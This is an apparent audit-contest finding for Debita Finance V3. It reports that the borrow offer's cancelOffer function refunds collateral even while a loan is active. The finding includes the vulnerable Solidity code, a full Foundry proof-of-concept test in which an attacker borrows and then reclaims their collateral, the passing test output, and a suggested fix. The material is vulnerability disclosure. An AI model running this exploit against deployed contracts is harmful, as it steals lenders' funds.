Furry Cloud Cod

High

# A malicious borrower can reclaim their collateral by calling the `DebitaBorrowOffer-Implementation::cancelOffer` function amidst an active loan

## Impact
### Summary 
The `DebitaBorrowOffer-Implementation::cancelOffer` function allows a borrower to cancel a borrow offer that they created earlier on. When a borrower calls the `DebitaBorrowOffer-Implementation::cancelOffer` function, their remaining collateral is transferred back to them excluding any fees they may have paid for the services they used.

However, the protocol does not check if the caller has any active loans and sends the balance of their collateral to them without checking. Thus, a borrower can reclaim thier collateral without repaying their debt.

### Vulnerability Details
This vulnerability exists because the `DebitaBorrowOffer-Implementation::cancelOffer` function does not check if the borrow order about to be cancelled has been issued any loans or not. This means that irrespective of whether a borrow order has received any loan amounts or not, it can be canceled and the borrower's collateral returned to them.

Here is a github link to the function in question https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaBorrowOffer-Implementation.sol#L188-L218 and can be view in the snippet below

```javascript
    function cancelOffer() public onlyOwner nonReentrant {
        BorrowInfo memory m_borrowInformation = getBorrowInfo();
        uint availableAmount = m_borrowInformation.availableAmount;
        require(availableAmount > 0, "No available amount");
        // set available amount to 0
        // set isActive to false
        borrowInformation.availableAmount = 0;
        isActive = false;


        // transfer collateral back to owner
        if (m_borrowInformation.isNFT) {
            if (m_borrowInformation.availableAmount > 0) {
                IERC721(m_borrowInformation.collateral).transferFrom(
                    address(this),
                    msg.sender,
                    m_borrowInformation.receiptID
                );
            }
        } else {
            SafeERC20.safeTransfer(
                IERC20(m_borrowInformation.collateral),
                msg.sender,
                availableAmount
            );
        }


        // emit canceled event on factory


        IDBOFactory(factoryContract).deleteBorrowOrder(address(this));
        IDBOFactory(factoryContract).emitDelete(address(this));
    }
```


### Impact
A borrower can call the `DebitaBorrowOffer-Implementation::cancelOffer` function after they have received a loan and reclaim their collateral without repaying their debt. This way, a malicious borrowr can steal from the protocol and all they loose is the transaction fees they paid. Thus, the lenders lose their funds which they made available on the protocol for lending.

## Proof of Concept
1. A malicious borrower sees that there are lendorders available on the protocol.
2. The maalicious borrower creates a borrow order
3. The malicious borrower then calls the `DebitaV3Aggregator::matchOffersV3` function so that they receive the loans they seek as specified in their borrow order
4. The malicious borrower now calls the `DebitaBorrowOffer-Implementation::cancelOffer` function and reclaims their collateral without repaying the debt the owe from the loan they received. Thus the malicious borrower now have their collateral back  and the asset they borrowed in their possession.
5. Furthermore, we compare the malicious borrower and an honest borrower and see that the malicious borrower end up with more tokens than the honest borrower though they created a borrow order with same parameters. Thus demonstrating that malicious borrowers are rewarded more by the protocol than honest borrowers.

<details>
<summary>PoC</summary>

We modify the `setUp` function in the `MultiplePrinciples.t.sol` so that the lend orders can fulfil more than one borrow offer in the following manner:

```javascript
.
.
.
AEROContract.approve(address(DLOFactoryContract), 10e18); // @audit-note changed from 5e18 to 10e18
ratioLenders[0] = 5e17;

address lendOrderAddress = DLOFactoryContract.createLendOrder(
    false,
    oraclesActivatedLenders,
    false,
    ltvsLenders,
    1350,
    8640000,
    86400,
    acceptedCollaterals,
    AERO,
    oraclesCollateral,
    ratioLenders,
    address(0x0),
    10e18 // @audit-note changed from 5e18 to 10e18
);

vm.startPrank(secondLender);
wETHContract.approve(address(DLOFactoryContract), 10e18); // @audit-note changed from 5e18 to 10e18
ratioLenders[0] = 4e17;
address SecondlendOrderAddress = DLOFactoryContract.createLendOrder(
    false,
    oraclesActivatedLenders,
    false,
    ltvsLenders,
    1000,
    9640000,
    86400,
    acceptedCollaterals,
    wETH,
    oraclesCollateral,
    ratioLenders,
    address(0x0),
    10e18 // @audit-note changed from 5e18 to 10e18
);
vm.stopPrank();

vm.startPrank(thirdLender);
wETHContract.approve(address(DLOFactoryContract), 10e18); // @audit-note changed from 5e18 to 10e18
ratioLenders[0] = 1e17;
address ThirdlendOrderAddress = DLOFactoryContract.createLendOrder(
    false,
    oraclesActivatedLenders,
    false,
    ltvsLenders,
    1000,
    9640000,
    86400,
    acceptedCollaterals,
    wETH,
    oraclesCollateral,
    ratioLenders,
    address(0x0),
    10e18 // @audit-note changed from 5e18 to 10e18
);
vm.stopPrank();
.
.
.
```

Now, place the following code into `MultiplePrinciples.t.sol`.

```javascript
  function test_SpomariaPoC_BorrowerCanDeleteBorrowOrderWithAnActiveLoan() public {

        address malBorrower = makeAddr("attacker");

        deal(AERO, malBorrower, 1000e18, false);
        deal(USDC, malBorrower, 1000e18, false);

        uint256 malBorrowerAEROInitBal = IERC20(AERO).balanceOf(malBorrower);
        uint256 malBorrowerUSDCInitBal = IERC20(USDC).balanceOf(malBorrower);
        uint256 malBorrowerWETHInitBal = IERC20(wETH).balanceOf(malBorrower);

        assertEq(malBorrowerAEROInitBal, 1000e18);
        assertEq(malBorrowerUSDCInitBal, 1000e18);
        assertEq(malBorrowerWETHInitBal, 0);

        uint256 borrowerAEROInitBal = IERC20(AERO).balanceOf(borrower);
        uint256 borrowerUSDCInitBal = IERC20(USDC).balanceOf(borrower);
        uint256 borrowerWETHInitBal = IERC20(wETH).balanceOf(borrower);


        address malBorrowOrderAddress = matchOffers_Spomaria(malBorrower);
        address borrowOrderAddress = matchOffers_Spomaria(borrower);

        uint256 malBorrowerAEROMidBal = IERC20(AERO).balanceOf(malBorrower);
        uint256 malBorrowerUSDCMidBal = IERC20(USDC).balanceOf(malBorrower);
        uint256 malBorrowerWETHMidBal = IERC20(wETH).balanceOf(malBorrower);

        assertGt(malBorrowerWETHMidBal, malBorrowerWETHInitBal);
        assertGt(malBorrowerAEROMidBal, malBorrowerAEROInitBal);
        assertEq(malBorrowerUSDCMidBal, malBorrowerUSDCInitBal - 100e18);

        // now attacker deletes the borrow order after taking a loan
        vm.startPrank(malBorrower);
        DBOImplementation(malBorrowOrderAddress).cancelOffer();
        vm.stopPrank();

        uint256 malBorrowerAEROFinalBal = IERC20(AERO).balanceOf(malBorrower);
        uint256 malBorrowerUSDCFinalBal = IERC20(USDC).balanceOf(malBorrower);
        uint256 malBorrowerWETHFinalBal = IERC20(wETH).balanceOf(malBorrower);

        assertGt(malBorrowerWETHFinalBal, malBorrowerWETHInitBal);
        assertGt(malBorrowerAEROFinalBal, malBorrowerAEROInitBal);
        assertGt(malBorrowerUSDCFinalBal, malBorrowerUSDCMidBal);   

        // let another borrower act honestly and see what their balance will be
        
        uint256 borrowerAEROMidBal = IERC20(AERO).balanceOf(borrower);
        uint256 borrowerUSDCMidBal = IERC20(USDC).balanceOf(borrower);
        uint256 borrowerWETHMidBal = IERC20(wETH).balanceOf(borrower);

        assertGt(borrowerWETHMidBal, borrowerWETHInitBal);
        assertGt(borrowerAEROMidBal, borrowerAEROInitBal);
        assertEq(borrowerUSDCMidBal, borrowerUSDCInitBal - 100e18);

        DebitaV3Loan.LoanData memory loanData = DebitaV3LoanContract
            .getLoanData();
        uint[] memory indexes = allDynamicData.getDynamicUintArray(3);
        indexes[0] = 0;
        indexes[1] = 1;
        indexes[2] = 2;

        // uint[] memory indexs = allDynamicData.getDynamicUintArray(1);
        // indexes[0] = 2;

        vm.startPrank(borrower);
        deal(wETH, borrower, 6e18, false);
        AEROContract.approve(address(DebitaV3LoanContract), 10e18);
        wETHContract.approve(address(DebitaV3LoanContract), 10e18);

        vm.warp(block.timestamp + 6400); 
        vm.roll(10);
        DebitaV3LoanContract.payDebt(indexes);
        DebitaV3LoanContract.claimCollateralAsBorrower(indexes);
        vm.stopPrank();

        uint256 borrowerAEROFinalBal = IERC20(AERO).balanceOf(borrower);
        uint256 borrowerUSDCFinalBal = IERC20(USDC).balanceOf(borrower);
        uint256 borrowerWETHFinalBal = IERC20(wETH).balanceOf(borrower);

        assertGt(borrowerWETHFinalBal, borrowerWETHInitBal);
        assertLt(borrowerAEROFinalBal, borrowerAEROInitBal);
        assertGt(borrowerUSDCFinalBal, borrowerUSDCMidBal);   

        // assert that the malicious user has more tokens than the honest user
        assertGt(malBorrowerWETHFinalBal, borrowerWETHFinalBal);
        assertGt(malBorrowerAEROFinalBal, borrowerAEROFinalBal);
        assertGt(malBorrowerUSDCFinalBal, borrowerUSDCFinalBal);

    }

    function matchOffers_Spomaria(address _addr) public returns(address _borrowOrderAddr){
        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(3);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            3
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(3);
        address[] memory principles = allDynamicData.getDynamicAddressArray(2);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(3);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(3);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(3);

        lendOrders[0] = address(LendOrder);
        lendAmountPerOrder[0] = 25e17;
        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = AERO;
        principles[1] = wETH;

        // 0.1e18 --> 1e18 collateral

        lendOrders[1] = address(SecondLendOrder);
        lendAmountPerOrder[1] = 38e17;
        porcentageOfRatioPerLendOrder[1] = 10000;

        indexForPrinciple_BorrowOrder[1] = 1;
        indexPrinciple_LendOrder[1] = 1;

        lendOrders[2] = address(ThirdLendOrder);
        lendAmountPerOrder[2] = 20e17;
        porcentageOfRatioPerLendOrder[2] = 10000;

        indexForPrinciple_BorrowOrder[2] = 1;
        indexPrinciple_LendOrder[2] = 1;
        
        vm.startPrank(_addr);

        IERC20(AERO).approve(address(DBOFactoryContract), 100e18);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(2);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(2);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(2);
        uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
        uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
        bool[] memory oraclesActivatedLenders = allDynamicData
            .getDynamicBoolArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(2);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesCollateral = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(2);

        ratio[0] = 5e17;
        acceptedPrinciples[0] = AERO;
        acceptedCollaterals[0] = USDC;
        oraclesActivated[0] = false;

        ratio[1] = 2e17;
        acceptedPrinciples[1] = wETH;
        oraclesActivated[1] = false;

        USDCContract.approve(address(DBOFactoryContract), 101e18);
        
        _borrowOrderAddr = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1400,
            8640000,
            acceptedPrinciples,
            USDC,
            false,
            0,
            oraclesPrinciples,
            ratio,
            address(0x0),
            100e18
        );

        
        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(_borrowOrderAddr),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        
        vm.stopPrank();

        DebitaV3LoanContract = DebitaV3Loan(loan);
    } 
```

Now run `forge test --match-test test_SpomariaPoC_BorrowerCanDeleteBorrowOrderWithAnActiveLoan -vvvv`

Output:
```javascript
.
.
.
    ├─ [563] ERC20Mock::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   └─ ← [Return] 184109589041095891 [1.841e17]
    ├─ [0] VM::assertGt(184109589041095891 [1.841e17], 0) [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::assertLt(999973753424657534247 [9.999e20], 1000000000000000000000 [1e21]) [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::assertGt(894500000000000000000 [8.945e20], 860000000000000000000 [8.6e20]) [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::assertGt(5760560000000000000 [5.76e18], 184109589041095891 [1.841e17]) [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::assertGt(1002483000000000000000 [1.002e21], 999973753424657534247 [9.999e20]) [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::assertGt(965500000000000000000 [9.655e20], 894500000000000000000 [8.945e20]) [staticcall]
    │   └─ ← [Return] 
    └─ ← [Return] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 67.78ms (25.52ms CPU time)

Ran 1 test suite in 1.65s (67.78ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

</details>

## Tools Used

Manual Review and Foundry


## Recommended Mitigation Steps

Consider modifying the `DebitaBorrowOffer-Implementation::cancelOffer` function to check whether a borrow order has received any loans and revert accordingly. The `DebitaBorrowOffer-Implementation::cancelOffer` function should only be callable if the borrow order has not been matched against other loan orders. This way, a borrow must repay their loans or have their collaterals siezed by the protocol.
